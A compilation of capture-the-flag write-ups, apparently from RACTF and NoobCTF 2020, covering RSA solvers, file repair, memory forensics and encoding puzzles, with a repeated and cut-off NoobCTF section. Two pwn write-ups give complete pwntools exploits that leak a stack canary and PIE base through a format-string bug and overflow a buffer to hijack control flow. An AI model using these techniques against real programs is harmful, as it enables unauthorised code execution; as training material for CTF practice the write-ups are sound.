a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awefully small, small enough that it most be in some databases, for that challenge I used factordb.com to search for factors:
as you can see factordb found for us the factors of the number n, and one of them was even 17, which means that if I would have wanted to write an algorithm which runs over all the primes to search for p and q it would have immidiatly discover them, now that we have the factors we can calculate phi, find d the modular multiplicative inverse of e, raise the ciphertext to the power of d, find the modulo n value of that and format to an ascii encoded string, for that we can use the script from the previous challenge with some modification:```python 3from Crypto.Util.number import long_to_bytes,inverse
p = 17q = 11975606908079261451371715080188349439393343105877798075871439319852479638749530929101540963005472358829378014711934013985329441057088121593182834280730529e = 65537ct = 201812836911230569004549742957505657715419035846501465630311814307044647468173357794916868400281495363481603543592404580970727227717003742106797111437347855
n = p*qphi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```by running that we get:
and we have our small-sized flag.
**Resouces:*** Integer factorazition problem: https://en.wikipedia.org/wiki/Integer_factorization* factordb: http://www.factordb.com/* Alpertron: https://www.alpertron.com.ar/ECM.HTM
## Really Speedy AlgorithmConnect to the network service to get the flag. The included template script may be of use.
[template.py](https://files.ractf.co.uk/challenges/5/template.py)
**ractf{F45t35tCryp70gr4ph3rAr0und}**
**Solution:** With the challenge we are given a server to connect, when we do that we get:
so we have another RSA challenge (makes sense by the title), in the previous two challenges I covered how RSA works and why it works, and we've seen some of the attributes that the parameters of RSA have and the connections beetwen them, now it's time to test our skills, the server gives as some simple simple challenges such as finding n with q,p given, and some harder challenges like decrypting a ct with q,p and e given. luckily there arent any challenges like the previous one which tasks us with finding primes (there is a package to do that but I think it will not work with the time limit at hand), so for that I wrote the following script which reads the given parameters and the objective, performs the steps needed and send the response back to server, for me the connection to the server was a bit spotty so I added a dirty try-catch statement so that the script will retry until some string with the format of the flag will be given by the server (I didn't use the tamplate):```python 3from pwn import *from Crypto.Util.number import inverse
def beautify_data(msg): return str(msg)[2:-1].replace("\\n",'\n').replace("\\t",'\t')
def connect(): s = remote(host, port) try: data = {} while 1: option = s.recvuntil("]") if "[:]" in str(option): param = beautify_data(s.recvuntil(': ')).split(" ")[-2][:-1] value = beautify_data(s.recvuntil("\n")).strip() data[param] = int(value) if "[?]" in str(option): objective = beautify_data(s.recvuntil(': ')).split(" ")[-2][:-1] params = list(data.keys()) if params == ['p','n'] and objective == 'q': q = data['n'] // data['p'] s.send(str(q) + "\n") elif params == ['p','phi','e','ct'] and objective == 'pt': q = data['phi'] // (data['p'] - 1) + 1 n = data['p'] * q d = inverse(data['e'], data['phi']) pt = pow(data['ct'],int(d),int(n)) s.send(str(pt) + "\n") elif params == ['q','n'] and objective == 'p': p = data['n'] // data['q'] print(p) s.send(str(p) + "\n") elif params == ['p','q'] and objective == 'n': n = data['p'] * data['q'] s.send(str(n) + "\n") elif params == ['p','q','e','pt'] and objective == 'ct': phi = (data['p'] - 1) * (data['q'] - 1) n = data['p'] * data['q'] ct = pow(data['pt'], data['e'], int(n)) s.send(str(ct) + "\n") elif params == ['p','q','e'] and objective == 'd': phi = (data['p'] - 1) * (data['q'] - 1) d = inverse(data['e'],phi) s.send(str(d) + "\n") elif params == ['p','q','d'] and objective == 'e': phi = (data['p'] - 1) * (data['q'] - 1) e = inverse(data['d'],phi) s.send(str(e) + "\n") data = {} print(objective) response = s.recv(100) print(beautify_data(response)) if 'ractf' in str(response): exit(0) except EOFError: connect()
host = '88.198.219.20'port = 23125connect()```as you can see all the challenges are like we've seen in previous challenges, I prefered to use pwntools' remote module instead of sockets as was recommended by the CTF team beacuse I'm more accustomed to it, by running the code we get:
and we have our lighting-fast flag.
## B007l3G CRYP70While doing a pentest of a company called MEGACORP's network, you find these numbers laying around on an FTP server:41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34. Through further analysis of the network, you also find a network service running. Can you piece this information together to find the flag?
**ractf{d0n7_r0ll_y0ur_0wn_cryp70}**
**Solution:** With the challenge we are given a server to connect to, when we connect we get the following:
I played for a while with the encryption and noticed three things, the first is that the ciphertext, which consists of 4 \* n numbers where n is the number of letters in the cipher text, changes even though the plaintext remains the same, which means that the specific numbers returned are of no importance to the decryption. The second thing and the most important thing is that the *sum* of the numbers is constant for every plaintext given, and when the message consists of one letter letter only the sum is equal to 255 minus the ascii order of the character, or equivalently the inverse of the order of the character in binary. The third thing is that appending two messeges results with a ciphertext twice the size, where the sum remains consistent with the previous attributes I mentioned, an example of this:
So with that in mind I wrote the following code which reads splits the ciphertext given with the challenge to numbers, sums every four succeeding number and find the inverse of the sum and the character with this ascii encoding:```python 3import re
cipher = "41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34"numbers = re.findall("[0-9]+",cipher)for i in range(0,len(numbers),4): value = 255 - sum([int(a) for a in numbers[i:i+4]]) print(chr(value), end='')print("")```by running it we get:
and we found our flag.
***
# Steg / Forensics
## Cut shortThis image refuses to open in anything, which is a bit odd. Open it for the flag!
[flag.png](https://files.ractf.co.uk/challenges/73/flag.png)
**ractf{1m4ge_t4mp3r1ng_ftw}**
**Solution:** With the challenge we are given a PNG image data which seems to be corrupted because we can't view it, so we need to find a way to fix the image. Fortunately, the format of PNG image data is quite easy to understand, this type of files mostly consists of the png file signature, which are the first 8 bytes of the file same across all PNG images used for detecting that the file is a PNG image, an IHDR chunk which specify the dimension of the image and a few other things, a lot of IDAT chunks which contains the actual compressed image data and in the end an IEND chunk which specify the end of the image, each chunks starts with the chunk size and end with the chunk crc32 code which helps detect data corruption in the chunk (we'll get to that next challenge), now if we look at the given image with an hex editor (I used HxD) we see the following:
We can see that there is an IEND chunk at the start of the image right after the file signature, which is wrong and makes image viewers neglect all the preceeding data, so we can delete this chunk, it starts in the eighth byte and ends in the 19th byte, after deleting this chunk we can try viewing the image again, by doing that we get:
and we have our flag.
**Resources:*** PNG format specification (long version): https://www.w3.org/TR/2003/REC-PNG-20031110/* PNG format specification (short version): http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* HxD: https://mh-nexus.de/en/hxd/
## Dimensionless Loading
This PNG looks to be valid, but when we open it up nothing loads. Any ideas?
**ractf{m1ss1ng_n0_1s_r34l!!}**
[flag.png](https://files.ractf.co.uk/challenges/72/flag.png)
**Solution:** We once again get a PNG image with the challenge, and again it seems we can view it, so it is too corrupted, if we view the file in hex editor we see the following
I explained in the previous challenge the PNG image layout, whats important in our case is the IHDR chunk, this chunk is the first to appear in a PNG file right after the file signature and specify the dimension of the image and other metadata the image viewers can use to show the image, in the specification of the PNG file format we can see:
so we can infer that the width and height of the image are four bytes each an are the first attributes in the chunk, if we look again at the hexdump of the file we can see that this bytes are equal to zero, so the dimensions of the image are zero. Alternativly, we can use the tool pngcheck on linux and it will return that the image dimension are invalid, with them being 0x0, so we now know our problem but how we can fix it? unfortunatly the image width and height are only stored in the IHDR chunk, so we'll need to brute force our way, for that we need to talk about crc some more.\ As I explained in the previous challenge each chunk is preceeded by a crc code which check the integrity of the chunk, the algorithm itself for calculating the code, which is called Cyclic redundancy check, is not important at the moment but we should keep in mind that it does its job very well, and that we have a python module zlib implements it, so if we iterate over all the reasonable dimensions for the image, calculate the crc code for the chunk again and compare it to the code stored in the image, which in our case we can see in the hexdump that it is 0x5b8af030, we can hopefully find the correct dimension for the image, so I wrote the following script which roughly does what I described and prints the dimensions that match:
``` python 3 from zlib import crc32
data = open("corrupted.png",'rb').read() index = 12
ihdr = bytearray(data[index:index+17]) width_index = 7 height_index = 11
for x in range(1,2000): height = bytearray(x.to_bytes(2,'big')) for y in range(1,2000): width = bytearray(y.to_bytes(2,'big')) for i in range(len(height)): ihdr[height_index - i] = height[-i -1] for i in range(len(width)): ihdr[width_index - i] = width[-i -1] if hex(crc32(ihdr)) == '0x5b8af030': print("width: {} height: {}".format(width.hex(),height.hex())) for i in range(len(width)): ihdr[width_index - i] = bytearray(b'\x00')[0] ``` most of the code is just handling with bytearrays, running it will give us the following:
we can see that the script found only one match, which is great because the only thing left for us to do is replace the dimension in the image with this dimension and we hopefully done, the hexdump should look now like this (different in the second row):
and by trying to view the image again we get:
and we got the flag.
**Resources:*** PNG format specification (long version): https://www.w3.org/TR/2003/REC-PNG-20031110/* PNG format specification (short version): http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* HxD: https://mh-nexus.de/en/hxd/ |
# NoobCTF 0x1 2020
Tue, 09 June 2020, 12:30 CEST — Wed, 10 June 2020, 07:30 CEST
## Crypto
### WhatThe#
```My brain can't interpret this, can you?file: cipher.txt```cipher.txt:``` brainfuck----------]<-<---<-------<---------->>>>+[<<<<----------,-,,+++++++++++++,-------------------------,>--------,>------------------,<<+++++++,>-----------------,>----,<<++++++++,-----------,>>,<<--,>>-,<,---,<+++++++,>>+,+++,<<++++,---------------,```
The cipher content is clearly brainfuck instructions and we use https://copy.sh/brainfuck/ to run it, but it doesn't run because there are invalid instructions
``` brainfuck+ and - are swapped> and < are swapped[ and ] are swapped, and . are swapped```The plaintext program is:``` brainfuck++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+..-------------.+++++++++++++++++++++++++.<++++++++.<++++++++++++++++++.>>-------.<+++++++++++++++++.<++++.>>--------.+++++++++++.<<.>>++.<<+.>.+++.>-------.<<-.---.>>----.+++++++++++++++.```
And it write the flag: `noob{N0t_4lw4y5_br41n}`
### BASEd```A Simple Crypto Based Challenge. Combination of 2 bases :)Cipher: 1c@^(9l;sa2c3Ln20_Mf<&&Vs<r```
The cipher seems to be encoded in base 85
With https://gchq.github.io/CyberChef, we put the cipher with filter `From base 85` and get:```46CYMn9K7QSq5xDST1xTW```
The new cipher seems to be encoded in base 64, but it doesn't work, after some try, we find that it is encoded in base 58 and we get:```noob{base58_85}```https://gchq.github.io/CyberChef/#recipe=From_Base85('!-u')From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)&input=MWNAXig5bDtzYTJjM0xuMjBfTWY8JiZWczxy
The flag is: `noob{base58_85}`
## Memory Forensic
### Mr. Pr0xy's Gift :)```I have some gifts for you in zip file. Download the file to get it.Good Luck !!! HackersLink: https://www.shortto.com/memdump```
In zip archive, there are two files (`memdump` and `flag.txt`), open `flag.txt` and read flag: `noob{Welcome_To_Memory_Forensic}`
### ##Parent Process##```What is the parent process id of Desktop Windows Manager?file: memdump```
To analyse this memory dump, we will use Volatility (https://github.com/volatilityfoundation/volatility)
First, we find the profile of the memory dump:``` bash> vol -f memdump imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/home/tom.rorato/Downloads/image/memdump) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c420a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c43d00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-06-02 20:02:03 UTC+0000 Image local date and time : 2020-06-02 16:02:03 -0400```We will use the profile `Win7SP1x64`
Then, list all processes running at the time of the memory dump:``` bash> vol -f memdump --profile Win7SP1x64 pslistVolatility Foundation Volatility Framework 2.6.1Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------[...] 0xfffffa8003cb7190 dwm.exe 2512 856 3 70 1 0 2020-06-02 19:41:51 UTC+0000[...]```
The `Desktop Windows Manager` executable is `dwm.exe`, its PID is `2512`, ant the PID of its parent is `856`
So, the flag is `noob{856}`
## Forensic
### It's easy```It's just an imagefile: iameasy.zip```
We open `iameasy.zip` and extract `iameasy.jpg` but we can't open `iameasy.jpg` as image
``` bash> hexdump -C iameasy.jpg | head -n100000000 05 10 19 02 00 10 4a 46 49 46 00 01 01 00 00 48 |......JFIF.....H|```
We can see that the file signature of `iameasy.jpg` correspond to none of files listed in https://en.wikipedia.org/wiki/List_of_file_signatures
So, we change the firsts bytes by the file signature of `jpg` files with a hex editor``` bash> hexdump -C iameasy.jpg | head -n100000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 |......JFIF.....H|```
Then, we can correctly open `iameasy.jpg` and read the flag: `noob{1_t0ld_y0u_1ts_34sy}`
## OSINT
### #t4g```#we_are_noobarmy```On twitter, we found one post in hashtasg we_are_noobarmy: https://twitter.com/noobarmy_/status/1270305947718746114:```N00B_4rMY (@noobarmy_)Noobs love 0x3e
1Bs791Hj97cM9rum9ifaUcU9hDPGmUdCf
#we_are_noobarmy```
The flag seems to be encoded in base 64 but in reality it is encoded in base62 lmao:https://gchq.github.io/CyberChef/#recipe=From_Base62('0-9A-Za-z')&input=MUJzNzkxSGo5N2NNOXJ1bTlpZmFVY1U5aERQR21VZENm
The flag is: `noob{B4sE62_4nd_h4shT4g}`
|
# pearl pearl pearl:Misc:300ptsChallenge instance ready at 95.216.233.106:49960. pearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearl
# Solutionncすると以下のように表示される。 何もできそうにないが、とりあえずファイルにはき出す。 ```bash$ nc 95.216.233.106 49960ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}~~~$ nc 95.216.233.106 49960 > pearlpearlpearl.txt^C$ cat pearlpearlpearl.txtctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}~~~```odで見ると、改行が混在しているようだ。 ```bash$ od -An -c pearlpearlpearl.txt c t f { p e a r l p e a r l p e a r l } \r c t f { p e a r l p e a r l p e a r l } \n c t f { p e a r l p e a r l p e a r l } \n c t f { p e a r l p e a r l p e a r l } \n c t f { p e a r l p e a r l p e a r l } \r c t f { p e a r l p e a r l p e a r l } \r c t f { p e a r l p e a r l p e a r l } \n c t f { p e a r l p e a r l p e a r l } \r c t f { p e a r l p e a r l p e a r l } \r c t f { p e a r l p e a r l p e a r l } \n c t f { p e a r l p e a r l p e a r l } \n c t f { p e a r l p e a r l p e a r l } \r c t f { p e a r l p e a r l p e a r l }~~~```抽出してバイナリにしてみる(0と1を逆にしたものも試す必要がある)。 ```bash$ cat pearlpearlpearl.txt | tr -d "ractf{pearl} " | tr "\r" "0" | tr "\n" "1"0111001001100001011000110111010001100110011110110111000000110011001101000111001000110001010111110011000101101110011100110011000101100100001100110101111100110100010111110110001101101100001101000110110101111101```これを[バイナリからASCIIに変換](https://www.rapidtables.com/convert/number/binary-to-ascii.html)するとflagが得られる。 ractf{p34r1_1ns1d3_4_cl4m}
## ractf{p34r1_1ns1d3_4_cl4m} |
The link https://youtu.be/zi3pLOaUUXs takes you to a video of someone saying numbers and lots of barcodes flashing. Put this on playback speed x0.25, and scan each barcode, pausing when necessary.
You should get a list that looks like this:
```8PdGSTvnaY9zuPGubRMc7cyqggztfa6AqGoWfWwR7JwvAOM{Px4JIEbOEkws5NDuG4sOeb9chPBBYtfr8iwkHVYpcf7hVMGQe0xL3vBdLvZLbB2T3iNatxiU5kNLb_eoyi4AfAmLXyJo4oFE4iSJmP3ajdUBIXVe4oAQnoJxEV8SzMNoIa3j9aaIBHbqls2vsDNpidao1}gfkrtfrm```
The numbers that are being said, you will realise, are the same numbers as the ones at the start of each string above. So, take the first string and count 8 characters into the string. You get 'r'. Do this for each string and you can see where this goes...
`ractf{b4rc0d3_m4dn3ss}` |
# Finches in a Stack
## Protections
First, let's check the protections that this binary has using checksec:
```sasha@kali:~/RACTF$ pwn checksec fias [*] '/home/kali/RACTF/fias' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)```
So here's what we have to deal with:
* Canary: This is a protection that places a random value before a return pointer, so that if you overwrite it with an invalid value, the program crashes
* NX: This prevents us from executing our own shellcode by marking critical areas as non-executable
## Basic Reversing
Running the file shows us that the file takes user input twice, and the first input is printed back to the screen:```sasha@kali:~/RACTF$ ./fiasNo! You bad canary! Get back in your cage!
I don't want you attacking anyone!
Hi! What's your name? sashaCTFNice to meet you, sashaCTF!Do YOU want to pet my canary?yessasha@kali:~/RACTF$ ```
Since our input is printed back to us, let's check for a format string vulnerability:```sasha@kali:~/RACTF$ ./fiasNo! You bad canary! Get back in your cage!
I don't want you attacking anyone!
Hi! What's your name? %x.%x Nice to meet you, f7f7f2c0.3e8!Do YOU want to pet my canary?yessasha@kali:~/RACTF$ ```
And here we see it is vulnerable to format strings, which is what we can use to leak the canary
Now let's see the strings of this file:
```sasha@kali:~/RACTF$ rabin2 -zqq fias/bin/cat flag.txtNo! You bad canary! Get back in your cage!\nI don't want you attacking anyone!\nHi! What's your name? Nice to meet you, Do YOU want to pet my canary?sasha@kali:~/RACTF$ ```
And we can see an interesting string:> /bin/cat flag.txt
Lets now see the functions in this file:```sasha@kali:~/RACTF$ r2 fias[0x080490c0]> aa[x] Analyze all flags starting with sym. and entry0 (aa)[0x080490c0]> afl0x080490c0 1 50 entry00x080490f3 1 4 fcn.080490f30x08049090 1 6 sym.imp.__libc_start_main0x08049120 4 49 -> 40 sym.deregister_tm_clones0x08049160 4 57 -> 53 sym.register_tm_clones0x080491a0 3 33 -> 30 entry.fini00x080491d0 1 2 entry.init00x080493e0 1 1 sym.__libc_csu_fini0x08049239 3 194 sym.say_hi0x08049110 1 4 sym.__x86.get_pc_thunk.bx0x08049030 1 6 sym.imp.printf0x08049040 1 6 sym.imp.gets0x08049070 1 6 sym.imp.puts0x080493f0 1 20 sym.__stack_chk_fail_local0x08049050 1 6 sym.imp.__stack_chk_fail0x080493e1 1 4 sym.__x86.get_pc_thunk.bp0x08049404 1 20 sym._fini0x080491fd 1 60 sym.anger0x08049380 4 93 sym.__libc_csu_init0x08049100 1 1 sym._dl_relocate_static_pie0x080492fb 1 128 main0x080490a0 1 6 sym.imp.setvbuf0x08049060 1 6 sym.imp.getegid0x080490b0 1 6 sym.imp.setresgid0x0804937b 1 4 sym.__x86.get_pc_thunk.ax0x080491d2 1 43 sym.flag0x08049080 1 6 sym.imp.system0x08049000 3 32 sym._init[0x080490c0]> ```Here we see or regular functions, main, entry0 etc.We can also see that the file uses `gets`, meaning its unsafely taking user input, making it easy for us to bof it, and uses `printf`, which we use for our format strings. We also see two custom functions `say_hi` and `anger`, which will be used in main.Obviously the most important functions are `flag` and `system`. Lets disassemble `flag`:```[0x080490c0]> pdf @sym.flag┌ 43: sym.flag ();│ ; var int32_t var_4h @ ebp-0x4│ 0x080491d2 55 push ebp│ 0x080491d3 89e5 mov ebp, esp│ 0x080491d5 53 push ebx│ 0x080491d6 83ec04 sub esp, 4│ 0x080491d9 e89d010000 call sym.__x86.get_pc_thunk.ax│ 0x080491de 05222e0000 add eax, 0x2e22│ 0x080491e3 83ec0c sub esp, 0xc│ 0x080491e6 8d9008e0ffff lea edx, dword [eax - 0x1ff8]│ 0x080491ec 52 push edx│ 0x080491ed 89c3 mov ebx, eax│ 0x080491ef e88cfeffff call sym.imp.system ; int system(const char *string)│ 0x080491f4 83c410 add esp, 0x10│ 0x080491f7 90 nop│ 0x080491f8 8b5dfc mov ebx, dword [var_4h]│ 0x080491fb c9 leave└ 0x080491fc c3 ret[0x080490c0]> ```So we see that flag executes a system command, and we can assume its using `/bin/cat flag.txt` from before. So we'll need to return back to this function with a bof
## Overview
This exploit is going to have 4 main parts
* Padding, to reach the canary* Canary, to overwrite canary, so that the program doesn't crash* More padding, to reach the return pointer* Return Pointer, where we point back into `flag`
## Finding offset
I just found the offset in a lazy way, by trial and error, see where it started to crash the file due to me overwriting the canary. However, there are better ways of finding the offset, such as ghidra, radare2 or gdb. Anyway, I found the offset (of the second input) to be **25**
## Leaking Canary
Now, we need to bypass the stack canary. To do this, we need to leak it using format strings. The one usually used would either be `%11$p` or `%19$p`, but for this binary it is `%11$p`, as `%19$p` seems to leak the uid(Note: I know that `%11$lx` or `%19$lx` can also be used, which just leak hex, I prefer to use $p, as it leaks it in the `0x` format)
Running the file in gdb, we can also check that this does leak the canary (breakpoint at say_hi as that's where input is taken):```sasha@kalivm:~/RACTF$ gdb fiasGNU gdb (Debian 9.1-3) 9.1...gdb-peda$ b say_hiBreakpoint 1 at 0x804923egdb-peda$ r```
These two lines of code are important as these actually take the canary from the `eax` register, and put it before the return pointer:``` 0x804924c <say_hi+19>: mov eax,gs:0x14=> 0x8049252 <say_hi+25>: mov DWORD PTR [ebp-0xc],eax```So we can see the canary in the eax register here:```[----------------------------------registers-----------------------------------]EAX: 0x35131100 EBX: 0x804c000 --> 0x804bf0c --> 0x1```So the canary for this runthrough is `0x35131100`And fast forward to the second `printf` after `gets` which will print our leaked value:```gdb-peda$ 0x35131100!```And they match!
## Finding second offset
Again, I did this via trial and error, and I made sure to use the correct canary of course. Through my trial and error, I found the second offset is **12**, then the next 4 bytes overwrite the return pointer
## Finding return pointer
This was simple, all I needed to do was view the functions, like I did before:`0x080491d2 1 43 sym.flag`So you'll get `0x080491d2`
## Creating local exploit
We now have everything we need to write the exploit, and I'll be using python3 with pwntools. And this is what my local exploit looked like:```pythonfrom pwn import *
e = ELF("fias")io = e.process()
io.recvline() # These recieve all the junkio.recvline()io.recvline()io.recvline()
io.sendline("-%11$p-") # Sends format stringrecieved = io.recvline().decode().split("-") # Leaks the canary, and recieves itcanary = int(recieved[1],16) # Convert to hex numberlog.info("Canary: " + str(hex(canary))) # Print canaryio.recvline() # More junk
payload = b"a" * 25 # Paddingpayload += p32(canary) # Canary (p32 is basically struct.pack)payload += b'bbbbccccdddd' # More paddingpayload += p32(0x080491d2) # Return pointer
io.sendline(payload) # Send payloadprint(io.recvline().decode()) # Recieve flagio.close()```
Of course make a `flag.txt` to cat when testing locally
## Transfering to remote
The script for remote is very similiar to local, again using python3 with pwntools. This is my script:```pythonfrom pwn import *import sys
args = sys.argv[1].split(":")ip = args[0]port = args[1]
io = remote(ip,port)
io.recvline() # These recieve all the junkio.recvline()io.recvline()io.recvline()
io.sendline("-%11$p-") # Sends format stringrecieved = io.recvline().decode().split("-") # Leaks the canary, and recieves itcanary = int(recieved[1],16) # Convert to hex numberlog.info("Canary: " + str(hex(canary))) # Print canaryio.recvline() # More junk
payload = b"a" * 25 # Paddingpayload += p32(canary) # Canary (p32 is basically struct.pack)payload += b'bbbbccccdddd' # More paddingpayload += p32(0x080491d2) # Return pointer
io.sendline(payload) # Send payloadprint(io.recvline().decode()) # Recieve flagio.close()```
Now to run it:```sasha@kali:~/RACTF$ python3 fiasremote.py 95.216.233.106:45124[+] Opening connection to 95.216.233.106 on port 45124: Done[*] Canary: 0x4c827a00ractf{St4ck_C4n4ry_FuN!}
[*] Closed connection to 95.216.233.106 port 45124sasha@kali:~/RACTF$```Challenge done!
**ractf{St4ck_C4n4ry_FuN!}** |
# Finches in a Pie
This challenge is very similiar to Finches in a Stack, so this one is more like a continuation of that writeup, so I'd advise reading that one first before reading this one. Here's the link:[Finches in a Stack](https://github.com/crypt0n1te/write-ups/blob/master/ractf-2020/rev-pwn/finches_in_a_stack.md)
## ProtectionsFirst, let's check the protections that this binary has using checksec:```sasha@kali:~/RACTF$ pwn checksec fiap[*] '/home/sasha/RACTF/fiap' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
So here's what we have to deal with:
* Canary: This is a protection that places a random value before a return pointer, so that if you overwrite it with an invalid value, the program crashes
* NX: This prevents us from executing our own shellcode by marking critical areas as non-executable
And a new one:
* PIE: This essentially randomizes the addresses of the functions and gadgets, making returning to functions harder
Since this binary is practically the same as `fias`, I won't go over the reversing again
## Overview
Our exploit is going to have four parts again:
* Padding, to reach the canary* Canary, to overwrite canary, so that the program doesn't crash* More padding, to reach the return pointer* Return Pointer, where we point back into 'flag'
We already have the other 4 sorted, however our new challenge is to find the return pointer, due to PIE randomizing it
## Leaking PIE
Fortunately, we can also leak a PIE address with format strings, this time it's `%12$p`. However, there are some calculations that need to be made to get the base addressLets load up gdb and have a look at the functions:```0x00001209 flag```So now we have the offset of `flag`. Let's run it with a breakpoint at say_hi (as that's where input is taken):```gdb-peda$ b say_hiBreakpoint 1 at 0x1287gdb-peda$ r```Let's skip to the printf which we use to leak, entering `%12$p` in the `gets`:```gdb-peda$ 0x56559000!```Now we need to find out what to do with this address to get the base address. Let's take a function, say the `flag` function, see where it is now after being randomized:```gdb-peda$ p flag$1 = {<text variable, no debug info>} 0x56556209 <flag>```And using our offset from before> 0x00001209We will take the offset away from the flag address, to find the base:```gdb-peda$ p/x 0x56556209 - 0x1209$2 = 0x56555000```So that's our base address, now we do:```gdb-peda$ p/x 0x56559000 - 0x56555000$3 = 0x4000```To find the offset of the leaked PIE address. Now, using this information, we can always find the return pointer we need
## Local exploit
Now we can create our local exploit using python3 + pwntools. We send the two format strings in the same line, separated by a `-`, so we can leak the canary and PIE at one time:```pythonfrom pwn import *
e = ELF("fiap")io = e.process()
for i in range(0,10): io.recvline()
io.sendline("-%11$p-%12$p-") # Leak both canary and PIErecieved = str(io.recvline()).split("-")canary = int(recieved[1],16)pie = int(recieved[2],16) - 0x4000 # Gets baselog.info("Canary: " + str(hex(canary)))log.info("PIE: " + str(hex(pie)))io.recvline()
flag = pie + 0x1209 # Base + Flag offset
payload = b"a" * 25 # Pads upto canarypayload += p32(canary) # Overwrites canarypayload += b'bbbbccccdddd' # Pads upto return addresspayload += p32(flag) # Overwites return addr with addr of flag function
io.sendline(payload)print(io.recvline().decode())io.close()```
## Transferring to remote
Transferring to remote is very simple once again:```pythonfrom pwn import *import sys
args = sys.argv[1].split(":")ip = args[0]port = args[1]
io = remote(ip,port)
for i in range(0,10): io.recvline()
io.sendline("-%11$p-%12$p-") # %11$lx leaks canary, %12$p leaks pierecieved = str(io.recvline()).split("-")canary = int(recieved[1],16)pie = int(recieved[2],16) - 0x4000 # Leaked pie take 0x4000 results in binary base
log.info("Canary: " + str(hex(canary)))log.info("PIE: " + str(hex(pie)))io.recvline()
flag = pie + 0x1209
payload = b"a" * 25 # Pads upto canarypayload += p32(canary) # Overwrites canarypayload += b'bbbbccccdddd' # Pads upto return addresspayload += p32(flag) # Overwites return addr with addr of flag function
io.sendline(payload)print(io.recvline().decode())io.close()```Let's now run it:```sasha@kali:~/RACTF$ python3 fiapremote.py 95.216.233.106:49276[+] Opening connection to 95.216.233.106 on port 49276: Done[*] Canary: 0x3132f200[*] PIE: 0x565d6000ractf{B4k1ng_4_p1E!}
[*] Closed connection to 95.216.233.106 port 49276sasha@kali:~/RACTF$ ```Challenge done!
**ractf{B4k1ng_4_p1E!}** |
# Solved in a Flash:Reversing / Pwn:100ptsSomeone found a weird microcontroller sitting on the desk when they walked into the office this morning. They reckoned it was a challenge, so made an image of flash and sent it your way. Good luck! [flash.bin](flash.bin)
# Solutionflash.binが何のファイルかわからないがstringsは便利だった。 ```bash$ file flash.binflash.bin: data$ strings flash.bin | grep ractfractf{Fl4shDump5Ar3VeryFun!!}```
## ractf{Fl4shDump5Ar3VeryFun!!} |
# NoobCTF 0x1 2020
Tue, 09 June 2020, 12:30 CEST — Wed, 10 June 2020, 07:30 CEST
## Crypto
### WhatThe#
```My brain can't interpret this, can you?file: cipher.txt```cipher.txt:``` brainfuck----------]<-<---<-------<---------->>>>+[<<<<----------,-,,+++++++++++++,-------------------------,>--------,>------------------,<<+++++++,>-----------------,>----,<<++++++++,-----------,>>,<<--,>>-,<,---,<+++++++,>>+,+++,<<++++,---------------,```
The cipher content is clearly brainfuck instructions and we use https://copy.sh/brainfuck/ to run it, but it doesn't run because there are invalid instructions
``` brainfuck+ and - are swapped> and < are swapped[ and ] are swapped, and . are swapped```The plaintext program is:``` brainfuck++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+..-------------.+++++++++++++++++++++++++.<++++++++.<++++++++++++++++++.>>-------.<+++++++++++++++++.<++++.>>--------.+++++++++++.<<.>>++.<<+.>.+++.>-------.<<-.---.>>----.+++++++++++++++.```
And it write the flag: `noob{N0t_4lw4y5_br41n}`
### BASEd```A Simple Crypto Based Challenge. Combination of 2 bases :)Cipher: 1c@^(9l;sa2c3Ln20_Mf<&&Vs<r```
The cipher seems to be encoded in base 85
With https://gchq.github.io/CyberChef, we put the cipher with filter `From base 85` and get:```46CYMn9K7QSq5xDST1xTW```
